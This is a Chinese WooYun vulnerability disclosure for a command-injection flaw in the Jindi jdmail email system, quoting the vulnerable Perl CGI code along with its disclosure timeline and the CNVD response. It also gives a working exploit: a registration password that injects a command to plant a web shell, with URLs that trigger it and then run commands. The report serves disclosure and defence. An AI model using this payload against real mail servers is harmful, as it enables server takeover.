当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-086343

漏洞标题:金迪电子邮件系统远程命令执行一

相关厂商:mailer.com.cn

漏洞作者: kk_skipper

提交时间:2014-12-08 12:09

修复时间:2015-03-08 12:10

公开时间:2015-03-08 12:10

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-08: 细节已通知厂商并且等待厂商处理中
2014-12-12: 厂商已经确认,细节仅向厂商公开
2014-12-15: 细节向第三方安全合作伙伴开放
2015-02-05: 细节向核心白帽子及相关领域专家公开
2015-02-15: 细节向普通白帽子公开
2015-02-25: 细节向实习白帽子公开
2015-03-08: 细节向公众公开

简要描述:

金笛@电子邮件系统是金笛软件公司历时多年研发的分布式、大容量、高可用电子邮件系统。采用 linux/xml/java等开放技术架构,具有很好的可靠性、扩展性。目前广泛用于各地电子政务网站、金税工程、IDC及各地行业门户网站

详细说明:

测试版本:jdmail3.14.6.1
限制条件:允许用户注册
漏洞分析:
先要注册一个账户,给管理员审核,例如用户名为test,修改域名地址为:
用户名随便:test
windows版本,设置密码:1||echo:system($b=$cgi-^>param(a))>>user_verify_disagree.cgi;
官网是linux版本,没去验证,本地windows测试成功。
漏洞原因:
在jdwa/cgi/config.cgi中实现了调用系统函数指令

## 实行控制指令
sub ctrlcmd {
my ($cmd,$op1) = @_;
my $rep;
my $port = $cfg{'ctrlprt'};
$port = '6017' if !$port;
my $admin = &dec_str($cfg{'admin'});
my $pass = &dec_str($cfg{'pass'});
my $ctrl = "$cfg{'jdmaildir'}/$ctrlclnt -s localhost -n $port -u \"$admin\" -p \"$pass\"";

if (!$op1){system("$ctrl $cmd");}
else {$rep = `$ctrl $cmd`;}
$rep;
}


在user_verify_agree.cgi中作调用使用:

#!perl.exe
if($ENV{'SERVER_SOFTWARE'}=~/IIS.\d+.0$/){my $cd=$0;$cd=~s/[^\\]*$//;chdir($cd);}
require "config.cgi";
use CGI;
my $cgi = new CGI;
my %users = ();
my $number = 0;
my $new_user = $cgi -> param("checkbox");
my ($name,$domain,$pass1,$realname,$depart,$question,$answer,$msg);
$new_user =~ s/\s+$//;
if (!$new_user || $new_user =~ /^\s+$/)
{
print "Content-Type: text/html; charset=utf-8\n";
print "CacheControl: no-cache\nPragma: no-cache\nExpires: -1\n\n";
print qq~
<html>
<head>
<meta http-equiv='content-type' content='text/html; charset=utf-8' />
<link href="../html/css/jdwa.css" rel="stylesheet" type="text/css" />
</head>
<body>无新用户申请!</body>
</html>
~;
}else{
$new_user =~ s/,\s*$//g;
my @users = split /,/,$new_user;
$number = @users;
foreach my $user (@users)
{
my @domain_user = split /\s+/,$user;
$name = $domain_user[1];
$domain = $domain_user[0];
$users{"$name,$domain"} = 1;

open NEW,"../../../../domains/newUserList.tab" || die "$!";
while (<NEW>)
{
chomp;
if (/^$name\t$domain\t.*/){
($name,$domain,$pass1,$realname,$depart,$question,$answer) = split /\t/,$_;
&ctrlcmd("useradd $domain $name $pass1 U");
if (!-d "$cfg{'mailroot'}/domains/$domain/$name/mailbox"){
$msg = "$name\@$domain邮箱新建失败!";
}
&save_env_cfg();


上述过程中,未到password进行过滤特殊字符,导致存在命令注入
限制条件:不能使用空格
方法:写入后门到已有的文件内,不需要空格,用:代替。
密码:1||echo:system($b=$cgi-^>param(a))>>user_verify_disagree.cgi;
具体测试exp:
1.注册一个用户名test123,密码为:1||echo:system($b=$cgi-^>param(a))>>user_verify_disagree.cgi;的用户
2.访问http://127.0.0.1/JDWA/cgi/user_verify_agree.cgi?checkbox=mailer.com.cn+test123,
提示审核失败
3.访问http://127.0.0.1/JDWA/cgi/user_verify_agree.cgi?a=dir
访问成功,可以写入目录

漏洞证明:

见详细

修复方案:

版权声明:转载请注明来源 kk_skipper@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-12-12 18:02

厂商回复:

CNVD确认所述情况,已经由CNVD通过以往建立的处置渠道向软件生产厂商通报。

最新状态:

暂无